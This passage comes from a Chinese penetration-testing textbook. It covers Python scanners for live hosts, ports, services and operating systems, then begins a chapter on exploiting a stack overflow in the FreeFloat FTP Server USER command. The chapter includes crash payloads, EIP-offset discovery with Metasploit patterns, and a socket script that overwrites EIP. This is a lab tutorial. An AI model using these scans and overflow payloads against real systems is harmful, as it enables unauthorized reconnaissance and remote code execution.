现在编写一个利用TCP实现的活跃主机扫描程序，这个程序的实现方式有多种，可以借助Scapy库完成。核心思想是产生一个TCP请求。首先查看Scapy库中TCP类型数据包中需要的参数，如图5-31所示。

图5-31　Scapy库中TCP数据包的参数

这里面的大多数参数都不需要设置，需要考虑的是sport、dport和flags。sport是源端口，dport是目的端口，而flags是标志位，可能的值包括SYN（建立连接）、FIN（关闭连接）、ACK（响应）、PSH（有DATA数据传输）、RST（连接重置）。这里将flags设置为“S”，也就是SYN。另外，TCP并没有目标地址和源地址，所以需要在IP层进行设置。

下面构造一个发往192.168.1.2的80端口的SYN请求数据包并将其发送出去。

     >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S"))

按照之前的思路，需要对这个请求的回应进行监听，如果得到回应，那么证明目标是活跃的，并输出这台主机的IP地址。

     >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive"))

前面在命令行中已完成这个扫描过程。现在编写一个完整的TCP扫描程序。完整的程序内容如下所示：

     from scapy.all import sr,IP,TCP
     targetIP="192.168.1.1"
     targetPort=80
     ans,unans=sr(IP(dst= targetIP)/TCP(dport=targetPort,flags="S"),timeout=2)
     for s,r in ans:
         print(r.sprintf("%IP.src% is alive"))

完成这个程序，将这个程序以tcpPing.py为名保存起来，这个程序中指定192.168.1.101和80两个参数。程序执行结果如图5-32所示。

也可以使用更为简单的nmap库来实现这个功能。在Nmap中，-sT表示使用TCP，但是这里不能使用-sn选项，因为这样会跳过端口扫描。在Nmap中使用TCP进行扫描的语法格式为：

     nm.scan('192.168.169.2', arguments=' -sT')

图5-32　目标主机活跃的情况

现在使用nmap库实现对目标进行TCP扫描，程序如下所示：

     import nmap
     target="192.168.1.1"
     nm = nmap.PortScanner()
     nm.scan(target, arguments=' -sT')
     for host in nm.all_hosts():
         print('----------------------------------------------------')
         print('Host : %s (%s)' % (host, nm[host].hostname()))
         print('State : %s' % nm[host].state())

完成这个程序，以tcpPing2.py为名保存起来，这个程序中为target指定了192.168.1.1参数。执行结果如图5-33所示。

图5-33　使用tcpPing2.py扫描192.168.1.1的结果

这个程序也可以用来扫描一定范围内的主机，例如192.168.1.0/24，只需要为这个程序指定参数，然后执行，图5-34给出了执行结果。

基于TCP的扫描是一种比较有效的方法。

图5-34　使用tcpPing2.py扫描192.168.1.0/24的结果

5.2.4　基于UDP的活跃主机发现技术

在网络中UDP（User Datagram Protocol，用户数据报协议）与TCP一样用于处理数据包，是一种无连接的协议，在OSI模型中位于第四层——传输层，处于IP的上一层。

基于UDP的活跃主机发现技术和TCP不同，UDP没有三次握手。当向目标发送一个UDP数据包之后，目标是不会回应任何UDP数据包的。不过，如果目标主机处于活跃状态，但是目标端口是关闭的，会返回一个ICMP数据包，这个数据包的含义为unreachable（不可达的），过程如图5-35所示。

图5-35　目标主机活跃但是端口关闭

如果目标主机未处于活跃状态，这时我们是收不到任何回应的，这个过程如图5-36所示。

图5-36　目标主机非活跃

接下来构造一个发往192.168.1.1的6777端口的UDP数据包并将其发送出去：

     >>> ans,unans=sr( IP(dst="192.168.1.1")/UDP(dport=6777))

按照之前的思路，需要对这个请求的回应进行监听，如果得到回应，当然，这个回应是ICMP类型的，那么证明目标主机是活跃的，并输出这个主机的IP地址：

     >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive"))

也可以使用更为简单的nmap库来实现这个功能。在Nmap中：-PU表示使用UDP，但是这里不能使用-sn选项，因为这样会跳过端口扫描。在Nmap中使用UDP进行扫描的语法格式为：

     nm.scan('192.168.169.2', arguments='-PU')

这里不再详细完成这两个程序，读者可以自行编写。

5.3　端口扫描

在前面的内容中已经介绍了端口，这是在传输层才出现的概念。可以认为端口就是设备与外界通信交流的出口，例如用来完成FTP服务的21端口和用来完成WWW服务的80端口。

端口扫描在网络安全渗透中是一个十分重要的概念。如果把服务器看作一间房子，那么端口是通向不同房间（服务）的门。入侵者要占领这间房子，势必要破门而入。对入侵者来说，这间房子开了几扇门，都是什么样的门，门后面有什么东西都是十分重要的信息。

因此，在信息收集阶段就需要对目标的端口开放情况进行扫描，因为一方面这些端口可能成为进出的通道，另一方面利用这些端口可以进一步获得目标主机上运行的服务，从而找到可以渗透的漏洞。对网络安全管理人员来说，对管理范围内的主机进行端口扫描是做好防范措施的第一步。

在正常情况下，端口只有open（开放）和closed（关闭）两种状态。但是有时网络安全机制会屏蔽对端口的探测，端口状态可能会出现无法判断的情况，所以在探测时需要为端口加上一个filtered状态，表示无法获悉目标端口的真实状态。

判断一个端口的状态其实是一个很复杂的过程。Nmap中集成了很多种端口扫描方法，这些方法很有创意，如果你愿意深入了解，可以参阅本书的前一部《诸神之眼——Nmap网络安全审计技术揭秘》（ISBN：978-7-302-47236-0，清华大学出版社出版。——编辑注）。在本章中只介绍其中最为常用的两种方法：TCP全开扫描和TCP半开扫描。

5.3.1　基于TCP全开的端口扫描技术

首先介绍第一种扫描技术——TCP全开扫描。这种扫描方法的思想很简单，如果目标端口是开放的，那么在接到主机端口发出的SYN请求之后，就会返回一个“SYN+ACK”回应，表示愿意接受这次连接的请求，然后主机端口再回应一个ACK，这样就成功地和目标端口建立了一个TCP连接。这个过程如图5-37所示。

图5-37　目标端口开放的情况

如果目标端口是关闭的，那么在接到主机端口发出的SYN请求之后，就会返回一个RST回应，表示不接受这次连接的请求，这样就中断了这次TCP连接。这个过程如图5-38所示。

但是，目标端口不开放还有另外一种情况，就是当主机端口发出SYN请求之后，没有收到任何的回应。造成这种情况的原因有多种，例如目标主机处于非活跃状态，这时当然无法进行回应，不过这也可以认为端口是关闭的。另外，一些网络安全设备也会屏蔽对某些端口的SYN请求，这时也会导致无法进行回应的情况，在本书中暂时先不考虑后一种情况。这个过程如图5-39所示。

图5-38　目标主机端口关闭的情况（1）

图5-39　目标主机端口关闭的情况（2）

在本章前面的部分已经学习了Scapy中IP数据包和TCP数据包的格式。需要注意的是，将TCP的flags参数设置为S，表明这是一个SYN请求数据包。构造这个数据包的语句如下：

     packet=IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S")

然后使用sr1函数将这个数据包发送出去：

     resp = sr1(packet,timeout=10)

接下来根据收到对应的应答包来判断目标端口的状态，这时会有3种情况。

第一种情况：如果此时resp为空，表示没有收到来自目标的回应。在程序中可以使用str(type(resp))来判断这个resp是不是为空，当type(resp)的值转化为字符串之后，为“<type'NoneType'>”时就表明resp是空，也就是没有收到任何数据包，直接判断该端口为关闭；如果不是这个值，则说明resp不为空，也就是收到回应的数据包，那么将是第二种或第三种情况。

第二种情况：当收到回应的数据包之后，需要判断这个数据包是“SYN+ACK”类型还是RST类型。在Scapy中数据包的构造是分层的，可以使用haslayer()函数来判断数据包是否使用某种协议。例如判断一个数据包是否使用了TCP，就可以使用haslayer(TCP)，也可以使用getlayer(TCP)来读取其中某个字段的内容。例如可以使用如下语句判断回应数据包是否为“SYN+ACK”类型：

     resp.getlayer(TCP).flags == 0x12 #0x12就是"SYN+ACK"

如果结果为真，表示目标接受TCP请求，需要继续发送一个ACK数据包，完成三次握手：

     IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR")

第三种情况：如果resp.getlayer(TCP).flags的结果不是0x12，而是0x14（表示RST类型），那么表明目标端口是关闭的。可以使用如下语句判断这个数据包是不是RST类型：

     resp.getlayer(TCP).flags == 0x14 #0x12就是"SYN+ACK"类型

按照上面设计的思路来编写一个完整的基于TCP全开的端口扫描程序。

完成这个程序，以PortScan.py为名保存起来，这个程序中指定了192.168.1.1和80两个参数。执行结果如图5-40所示。

图5-40　使用PortScan.py扫描192.168.1.1主机80端口的结果

在这个程序中还使用了RandShort()，这个函数的作用是产生一个随机数并将其作为端口号，在和目标端口建立TCP连接的时候，自己也需要使用一个源端口，这里使用RandShort()随机产生一个端口号即可。另外，在使用sr1()发送数据包的时候使用了timeout，这个参数的作用是指定等待回应数据包的时间。不使用它，在没有应答时会等待很久。

但是，实际上这个程序并没有真正建立TCP连接，因为在Wireshark中抓包可以看到操作系统自作主张地发送了一个RST数据包来结束连接（见图5-41），而程序的ACK数据包发送时，其实已经晚了。

图5-41　系统提前结束连接

想解决这个问题，可以考虑使用防火墙来实现暂时阻止RST包出站。

5.3.2　基于TCP半开的端口扫描技术

5.3.1节中介绍的基于TCP全开的端口扫描技术还有一些不完善的地方，例如连接可能会被目标主机的日志记录下来，而且最主要的是建立TCP连接三次握手中的最后一次是没用的，在目标返回一个“SYN+ACK”类型的数据包之后，就已经达到探测的目的，最后发送的ACK类型数据包不是必要的，所以可以考虑去除这一步。

于是一种新的扫描技术产生了，这种扫描的思想很简单，如果目标端口是开放的，那么在接到主机端口发出的SYN请求之后，就会返回一个“SYN+ACK”回应，表示愿意接受这次连接的请求，然后主机端口不再回应一个ACK，而是发送一个RST表示中断这个连接。这样实际上并没有建立完整的TCP连接，所以称为半开。这个过程如图5-42所示。

图5-42　对目标主机开放的端口进行半开扫描的过程

如果目标端口是关闭的，半开扫描和全开扫描没有区别，这个过程如图5-43所示。

在这次的半开扫描实例中，需要考虑一种更为复杂的情况，那就是目标端口的filtered状态。这种状态往往是由包过滤机制造成的，过滤可能来自专业的防火墙设备、路由器规则或者主机上的软件防火墙。这种情况下会让扫描工作变得很困难，因为这些端口几乎不提供任何信息。不过有时候它们也会响应ICMP错误消息，但更多的时候包过滤机制不做任何响应。这个过程如图5-44所示。

图5-43　对目标主机关闭的端口进行半开扫描的过程

图5-44　目标主机端口没有任何回应

将没有给出回应数据包的端口归于filtered状态，另外考虑收到ICMP错误消息的情形。在这种情况下，也要将目标端口归于filtered状态。当TCP连接的数据包被屏蔽，一般会返回表5-1所示的几种ICMP错误消息。

表5-1　返回的ICMP错误消息类型及意义

如果收到这几种类型的ICMP数据包，也将目标端口的状态归类到filtered。所以在编写程序的时候，考虑如下两种情况：

     if(str(type(stealth_scan_resp))=="<type 'NoneType'>"):

这种情况表示没有收到任何的回应数据包。

     if(int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in
     [1,2,3,9,10,13]):

这种情况表示收到的是ICMP类型的数据包。

下面给出了程序的完整代码。

完成这个程序，以PortScan.py为名保存起来，这个程序中指定了192.168.1.1和80两个参数。执行结果如图5-45所示。

图5-45　使用PortScan.py扫描192.168.1.1的结果

另外，也可以使用nmap库实现对目标进行TCP扫描。Nmap中默认使用的就是半开连接，所以连Nmap参数都无须添加，程序如下所示：

程序本身很简单，但是Nmap扫描结果的格式很复杂，关于这个扫描结果的格式将在5.4节中详细介绍。

5.4　服务扫描

现在世界上使用最多的计算机操作系统就是微软公司的Windows了。虽然微软公司拥有非常优秀的开发团队，但是这个团队开发的这个系列的操作系统仍然不断出现各种问题。几乎每隔一段时间，系统就会提醒你安装一些补丁文件进行修复，这些修复同时也意味着系统出现了漏洞。

可是平时除了操作系统之外，还使用大量的其他应用软件。这些应用软件的质量参差不齐，有由可以和微软公司比肩的国际型IT企业开发的，也有个人开发的。这些应用软件大都存在着漏洞，它们是网络安全的重灾区。如果目标使用这些软件对外提供网络服务，攻击者有可能利用网络服务的漏洞入侵。

所以在对目标进行渗透测试的时候，要尽量检测出目标系统运行的各种服务。对入侵者来说，发现这些运行在目标上的服务，就可以利用这些软件上的漏洞入侵目标；对网络安全的维护者来说，也可以提前发现系统的漏洞，从而预防这些入侵行为。

不使用库来编写一个对目标服务进行扫描的程序难度要远远大于我们之前的工作。这里首先介绍一下服务扫描的思路。

很多扫描工具都采用了一种十分简单的方式，因为常见的服务都会运行在指定的端口上，例如，FTP服务运行在21端口上，而HTTP服务运行在80端口上。因为这些端口都是公知端口，所以只需要知道目标上哪个端口是开放的，就可以猜测出目标上运行着什么服务。但是这样做有两个明显的缺点：一是很多人会将服务运行在其他端口上，例如，将本来运行在23端口上的Telnet运行在22端口上，这样可能让入侵者误以为这是一个SSH服务；二是这样得到的信息极其有限，即使知道目标80端口上运行着HTTP服务，但是完全不知道是什么软件提供的服务，也就无从查找这个软件的漏洞了。Nmap中的nmap-services库提供了所有的端口和服务对应的关系。

还有一些扫描工具采用抓取软件banner的方法。很多软件在连接之后会提供一个表明自身信息的banner，可以编写程序来抓取这个banner以读取目标软件的信息，这是一种比较不错的方法。

最后也是最优秀的一种方法，就是向目标开放的端口发送探针数据包，然后根据返回的数据包与数据库中的记录进行比对，找出具体的服务信息。Nmap扫描工具采用这种方法，它包含一个十分强大的Nmap-service-probe数据库，这个库包含了世界上大部分常见软件的信息，而且这个库还在完善中，你也可以将自己发现的软件信息添加到里面。

接下来按照上面介绍的几种思路来编写对目标服务进行扫描的程序。首先编写一个利用抓取软件banner的方式的程序。这里使用之前介绍的Socket库。

首先引入需要的Socket库：

     import socket

然后初始化一个TCP类型的Socket：

     s=socket.socket()

使用这个Socket连接目标127.0.0.1的21端口（测试使用的本机地址）：

     s.connect(("127.0.0.1", 21))

连接成功之后，向目标发送任意一串数据：

     s.send(b'111111')

通常目标会将自己的banner作为应答信息返回：

     banner = s.recv(1024)

关闭这个连接：

     s.close()

输出得到的banner：

     print('Banner: {}'.format(banner))

将这个程序以ServiceScan.py为名保存起来，程序中指定了192.168.168.133和21两个参数，完整的程序如下所示：

     import socket
     target="192.168.168.133"
     port= 21
     s=socket.socket()
     s.connect((target, port))
     s.send(b'11111111111111111111')
     service = s.recv(1024).decode()
     s.close()
     print('Port in {} '.format(port)+'Service: {}'.format(service))

在192.168.168.133上运行了款软件FreeFloat FTP Server作为测试目标。这款软件的运行界面如图5-46所示。

执行ServiceScan.py脚本的结果如图5-47所示。

这个程序还可以进一步完善，例如使用正则表达式等，留待读者自行完成。另外，由于这个程序要依赖目标工具提供的信息，所以并不通用。例如，目标在80端口上运行着另外一款软件Easy File Sharing Web Server，这个程序就无效了，如图5-48所示。

图5-46　运行的FreeFloat FTP Server软件

图5-47　使用ServiceScan.py脚本扫描192.168.169.133的结果

图5-48　目标80端口上运行Easy File Sharing Web Server软件

如果目标是Easy File Sharing Web Server，ServiceScan.py会一直没有反应。其实除了使用Socket库来完成对服务进行扫描之外，还可以使用更为强大的nmap库。这种方法更简单高效。Nmap提供了一种目前最优秀的服务扫描功能，可以直接调用Nmap进行扫描，然后读取结果，这个编程过程有一种“站在巨人肩膀上”的感觉。

扫描的过程很简单，核心语句变成nm.scan(target, port, "-sV")，其中的关键是对扫描结果的处理。

扫描之后得到的每一台主机的信息都是一个字典文件，例如，nm["192.168.1.1"]就是一个字典文件，这个字典的结构如下：

其中，最重要的几项包括：

□　addresses用来存储主机的IP地址。

□　hostnames用来存储主机的名称。

□　osmatch用来存储主机的操作系统信息。

□　portused用来存储主机的端口信息（开放或者关闭）。

□　status用来存储主机的状态（活跃或者非活跃）。

□　tcp用来存储端口的详细信息（例如状态、运行的服务和提供服务的软件版本）。

如果需要从扫描的结果中找出127.0.0.1的80端口上运行的服务的信息，可以使用nm[127.0.0.1][tcp][80]['product'])。

这个程序更加完善，将其保存为ServiceScan2.py，然后用它来扫描目标，得到的结果如图5-49所示。

图5-49　使用ServiceScan2.py脚本扫描192.168.169.133的结果

现在你可以尝试使用这个程序去扫描其他主机上运行的服务程序，它在实际中应用的成功率远远高于前面的两个程序。

5.5　操作系统扫描

身边很多人都一直认为判断远程主机的操作系统是一件很简单的事情，因为在他们的印象中世界上只有那么几种操作系统而已，如Windows 7、Windows 10，最多加上Linux。但对于目标操作系统的扫描却是一件极为复杂的事情，其实这个世界上的操作系统的数目远比我们想的要多得多。不光是Linux内核衍生了大量的操作系统，即便是现在的各种网络设备如防火墙、路由器和交换机也都安装了操作系统，而这些系统都是由厂家自行开发的，如思科和华为都有自己的系统。另外，各种各样的可移动设备、智能家电所使用的操作系统就更多了。

现在很多著名的工具都提供远程对操作系统进行检测的功能，这一点用在入侵上就可以成为黑客的工具，而用在网络管理上就可以进行资产管理和操作系统补丁管理。但是，并没有一种工具可以提供绝对准确的远程操作系统信息。几乎所有的工具都使用了一种“猜”的方法。当然，这不是凭空猜测，目前对操作系统进行远程检测的方法一般可以分成以下两种。

□　被动式方法：这种方法是通过抓包工具来收集流经网络的数据包，再从这些数据包中分析出目标主机的操作系统信息。

□　主动式方法：向目标主机发送特定的数据包，目标主机一般会对这些数据包做出回应，对这些回应进行分析，就有可能得知目标主机的操作系统类型。这些信息可以是正常的网络程序如Telnet、FTP等与主机交互的数据包，也可以是一些经过精心构造的正常的或残缺的数据包。

首先看一下被动式方法。p0f就是一个典型的被动式扫描工具。p0f可以自动地捕获网络中通信的数据包，并对其进行分析。使用的方法很简单，Kali 2020中没有安装p0f，首先安装，如下所示：

     kali@kali:~$ sudo apt-get install p0f

安装成功后，可以在命令行中直接输入p0f，如下所示：

     root@kali:~# p0f

这时p0f开始监听网络中的通信，如图5-50所示。

图5-50　在Kali Linux中启动p0f

然后，打开浏览器访问http://192.168.169.133/（这么做是为了产生和192.168.169.133通信的流量。在192.168.169.133上有Web服务器），很快就可以得到结果，如图5-51所示。

对于主动式方法，可以采用向目标发送数据包的方式来检测，但是这需要设计一系列的探针式数据包，并将各种操作系统的反应保存为一个数据库。这个工作量很大，在这里使用nmap库文件来编写一个主动式扫描程序，在命令行中来实现这个程序。首先导入nmap库：

     >>> import nmap

图5-51　使用p0f分析192.168.169.133操作系统的结果

然后创建一个PortScanner对象：

     >>> nm=nmap.PortScanner()：

对192.168.169.133进行扫描，扫描的参数为-O：

     >>> nm.scan("192.168.169.133","-O")

扫描结果如图5-52所示。

图5-52　使用nmap库扫描192.168.169.133操作系统的结果

这个扫描的结果看起来有些乱，在前面已经介绍了Nmap扫描结果的结构：

osmatch是一个字典类型，它包括了'accuracy'、'line'、'osclass'3个键，而'osclass'中包含了关键信息，它本身也是一个字典类型，包含'accuracy'（匹配度）、'cpe'（通用平台枚举）、'osfamily'（系统类别）、'osgen'（第几代操作系统）、'type'（设备类型）、'vendor'（生产厂家）6个键。

下面给出了一个使用nmap库编写的完整程序：

完成这个程序，将这个程序以OSScan.py为名保存起来，这个程序指定参数192.168.169.133。程序执行结果如图5-53所示。

图5-53　使用nmap库扫描192.168.169.133操作系统的结果

这个程序扫描的结果是最为精准的。

5.6　小结

在本章中以Python作为工具，详细地介绍了信息收集的各种方法。从基础用法开始，逐步地介绍了使用Python对目标的在线状态、端口开放情况、操作系统、运行的服务和软件进行扫描。信息收集的工具其实有很多，在Kali Linux 2中就提供了多达数十种，但是最为优秀的扫描工具非Nmap莫属。关于这个工具的详细用法，可以阅读《诸神之眼——Nmap网络安全审计技术揭秘》。

第6章将介绍在发现目标主机上运行的程序之后，如何开展对这个程序的渗透工作。

第6章　对漏洞进行渗透(基础部分)

之前已经学习了如何使用Python对目标的信息进行收集。但是在发现信息之后，又该如何使用这些信息呢？在本章中学习如何开发一个漏洞渗透模块，选择的目标是一款简单的软件FreeFloat FTP Server。这是一款十分受欢迎的FTP服务器软件，但是这款软件早期的版本中存在一个栈溢出的漏洞，因此会被人利用，从而发生远程代码执行的问题，攻击者可能借此来控制安装有该软件的计算机设备。

在本章中将会讲解如下几点内容。

□　如何对软件的溢出漏洞进行测试。

□　计算软件溢出的偏移地址。

□　查找JMP ESP指令。

□　编写渗透程序。

□　坏字符的确定。

□　使用Metasploit来生成shellcode。

6.1　测试软件的溢出漏洞

渗透工具看起来功能是不是十分神奇？现在我们就来学习如何实现对一款软件进行渗透。这次渗透测试的目标为FreeFloat FTP Server，这是一个十分简单的FTP工具。将这个工具放置在虚拟机Windows XP中，然后运行这个工具，如图6-1所示。

FreeFloat FTP Server会在运行的主机上建立一个FTP服务器，其他计算机上的用户可以登录这个FTP存取文件。例如，在主机192.168.157.130的C盘中运行这个FTP软件，在另外一台计算机中可以使用FTP下载工具或者以命令的方式进行访问。这里采用命令的方式对其进行访问，如图6-2所示。

图6-1　FreeFloat FTP Server运行界面

图6-2　远程连接到FreeFloat FTP Server

首先使用FTP命令，然后使用open命令打开192.168.157.130。注意，不要使用浏览器打开这个FTP，那样做，将无法对这个登录过程进行观察。

使用FreeFloat FTP Server服务器对登录没有任何限制，输入任意的用户名和密码都可以登录，如图6-3所示。

在这里随意输入一些字符，例如aaa，然后按回车键，如图6-4所示。

图6-3　输入任意的用户名

图6-4　输入任意的密码

图6-5　登录到FTP

同样密码也随意输入即可，例如也输入aaa，然后按回车键便可登录到FTP，如图6-5所示。

这里显示用户aaa已经成功登录。可以使用FTP中的任意资源，其实这里使用任何一个用户名都可以成功登录。

现在来看看这个工具是否存在栈溢出漏洞。在输入用户名的时候，尝试使用一个特别长的字符串作为用户名，来看一下在用户名输入的位置是否存在溢出的漏洞，例如输入数百个a，如图6-6所示。

图6-6　以数百个a作为用户名

但是系统并没有崩溃，而是正常地出现了输入密码的提示界面，如图6-7所示。

图6-7　输入密码

这时不要放弃，再尝试输入更多的a作为用户名，如图6-8所示。

图6-8　输入更多的a作为用户名

目标系统仍然正常出现了输入密码的界面，可见系统没有崩溃。那么是不是这款软件并不存在溢出问题呢？在做渗透模块编写的时候，千万不要在此时就放弃。打开Wireshark捕获此次登录的数据包，如图6-9所示。

图6-9　使用Wireshark捕获登录过程的数据包

在这里可以发现，实际上发送出去的数据包中字符a的数量并没有那么多，无论在登录用户名时输入多么长的用户名，而实际上发送出去的只有78个a。显然这个长度的字符是无法引起溢出的，那么有什么办法可以加大字符串的数量呢？

最直接的方法就是自行构造数据包，然后将数据包发送出去，这样想要数据包中包含多少个a都可以。

首先编写一个可以自动连接到FreeFloat FTP Server的客户端脚本，建立一个到FreeFloat FTP Server的连接。因为这款软件提供的是FTP服务，所以只需要按照连接FTP的过程来编写这个脚本即可，而且这个脚本可以用来连接到任何提供FTP服务的软件。

首先在Kali Linux 2中启动Python 3，由于这个系统同时内置了Python 3和Python 2，所以在启动时需要输入“python 3”。

     kali@kali:~$ python3
     Python 3.7.6 (default, Jan 19 2020, 22:34:52)
     [GCC 9.2.1 20200117] on linux
     Type "help", "copyright", "credits" or "license" for more information.
     >>>

接下来导入需要使用的Socket库。

     >>>import socket

执行结果如图6-10所示。

图6-10　在Python中导入所需要的库

接着创建一个Socket套接字。

     >>> s=socket.socket()

执行结果如图6-11所示。

图6-11　创建一个Socket套接字

利用这个套接字可以建立到目标的连接。

     >>>connect=s.connect(('192.168.157.130',21))

执行之后，就建立好了一个到目标主机21端口的连接，但是到FTP的连接需要认证，仍然需要向目标服务器提供一个用户名和一个密码。服务器通常会对用户名和密码的正确性进行验证，也就是将用户的输入与自己保存的记录进行比对。

可以将用户名的输入作为一个测试点，这也是最为常见的一个情形。主要是因为早期的时候，很多程序员都会使用memcpy()函数将用户的输入复制到一个变量中，但是，这些程序员往往忽略对地址是否越界进行检查，从而导致数据溢出，进而引发代码远程执行问题。

现在把“FreeFloat FTP Server”用户名的输入作为渗透测试的锲入点，首先检查这款软件是否存在栈溢出的现象。这个检查其实很简单，在输入用户名的时候，并不像常规的那样输入几个或者十几个字符，而是输入成百上千的字符，同时观察目标服务器的反应。

首先观察一下正常连接到目标服务器上的数据包格式，如图6-12所示。此处使用Wireshark抓取输入用户名的数据包，并观察其中的格式。

图6-12　正常登录目标服务器的数据包格式

图6-12中输入的用户名是一段字符，这段字符前面是“USER”，后面是一个回车符加换行符“\r\n”。使用Socket套接字中的send()方法可以将一个字符串以数据包的形式发送出去，这里面以成百上千的A作为用户名。

     >>> shellcode=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     >>> data=b"USER "+shellcode+b"\r\n"
     >>> s.connect(("192.168.157.130",21))
     >>> s.send(data)

将这个数据包发送到目标FTP服务器上，可以看到这个FTP服务器工具崩溃了，并且出现了图6-13所示的问题提示。

图6-13　引起了目标崩溃

6.2　计算软件溢出的偏移地址

这里显示软件FreeFloat FTP Server执行到地址“41414141”处时无法继续。按照之前讲过的知识，出现这种情况的原因是原本保存下一条地址的EIP寄存器中的地址被溢出的字符A所覆盖。“\x41”在ASCII表中表示的正是字符A，也就是说现在EIP寄存器中的内容就是AAAA，而操作系统无法在这个地址找到一条可以执行的命令，从而引发软件崩溃。

现在可以在调试器中看到EIP的地址，但是要知道程序在操作系统中的执行是动态的，也就是说每一次软件执行时所分配的地址都是不同的。所以现在需要知道的不是EIP的绝对地址，而是EIP相对输入数据起始位置的相对位移。

如果这个位移的值不大，可以用逐步尝试的方法获取。但是，如果位移比较大，还需要通过一些工具来提高效率。例如可以借助Metasploit中内置的两个工具pattern_create和pattern_offset来完成这个任务。

pattern_create可以用来创建一段没有重复字符的文本，将这段文本发送到目标服务器，当发生溢出时，记录下程序发生错误的地址（也就是EIP中的内容），这个地址其实就是文本中的4个字符。然后利用pattern_offset快速地找到这4个字符在文本中的偏移量，而这个偏移量就是EIP寄存器的地址。

现在先来演示一下这个过程。首先启动Kali Linux 2虚拟机（2020.1版，不同版本中目录不同），打开一个终端，然后切换到Metasploit的目录：

     kali@kali:cd /usr/share/metasploit-framework/tools/exploit

然后在这个目录中执行工具pattern_create.rb，这是一个由Ruby语言编写的脚本。

     kali@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb

如果你想了解这个工具的使用方法，可以使用参数-h来显示所有可以使用的参数及其用法，如图6-14所示。

图6-14　pattern_create.rb的选项

图6-14中给出了这个工具的用法，其中最为常用的参数是-l，这个参数可以用来指定生成字符串的长度，下面生成一个500个字符的字符串，如图6-15所示。

图6-15　使用pattern_create.rb产生长度为500的字符串

然后使用pattern_create.rb产生的字符来代替那些A。仍然使用前面连接目标服务器的Python脚本来发送这段内容。

     s.send(b'USER Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9
     Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5
     Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1
     Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7
     Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3
     Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9
     Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\r\n')

之后可以看到图6-16所示的报错信息，FreeFloat FTP Server软件再次崩溃。

图6-16　目标再次崩溃

记下提示信息中的地址“37684136”，然后使用pattern_offset查找这个值对应的偏移量。启动pattern_offset的方法和之前的pattern_create几乎一样，如果之前没有切换到metasploit的目录，就需要执行：

     kali@kali:cd /usr/share/metasploit-framework/tools/exploit

然后执行这个目录中的工具pattern_offset.rb，这也是一个由Ruby语言编写的脚本。

     kali@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb

同样可以使用参数-h来查看参数帮助，如图6-17所示。

图6-17　pattern_offset的选项

使用参数-q加上溢出的地址值，使用-l来指定字符串的长度（就是之前pattern_create.rb所使用的参数，也就是500），如图6-18所示。

图6-18　使用pattern_offset.rb来查找溢出的地址

现在成功找到EIP寄存器的位置。而这个寄存器中的值决定了程序下一步的执行位置，到此已经成功一大半。

接下来向目标发送能够导致系统溢出到EIP的数据。之前已经计算出EIP的偏移量是230，那么现在提供230个字符A即可，之后是4个B。编写下面的程序，向目标发送溢出数据。

     import socket
     buff=b"\x41"*230+b"\x42"*4
     target="192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

可以在/home/kali/目录中创建一个文档（Document），命名为ftptest.py，写入上面的内容并保存。

然后重复之前的步骤。首先在虚拟机Windows XP中启动FreeFloat FTP Server软件，然后在Kali Linux 2中执行上面的脚本，代码如下：

     kali@kali:~$ cd /home/kali/
     kali@kali:~$ python3 ftptest.py

切换到Windows XP中，可以看到程序已经崩溃，如图6-19所示，显示崩溃的地址是“42424242”，这说明EIP中的地址已经被更改为字符B，这验证了之前找到的偏移地址的正确性。

图6-19　崩溃地址是“42424242”

6.3　查找JMP ESP指令

这里其实还有一个问题：即使控制了EIP中的内容，但之前提到任何一个程序在每次执行时，操作系统都会为其分配不同的地址，因此，即使可以决定程序下一步执行的地址，但是却不知道恶意攻击载荷的位置，这时没有办法让目标服务器执行这个恶意的攻击载荷。

接下来要想办法让这个EIP中的地址指向攻击载荷。首先看一下输入的用户名数据在执行时是如何分布的，如图6-20所示。

图6-20　程序在内存中的分布

按照栈的设计，ESP寄存器应该位于EIP寄存器的后面（中间可能有一些空隙），如图6-21所示这个寄存器就是最理想的选择：一则，在使用大量字符来溢出栈的时候，可以使用特定字符来覆盖ESP：二则，虽然无法对ESP寄存器进行定位，但是可以利用一条“JMP ESP”跳转指令来实现跳转到当前ESP寄存器。

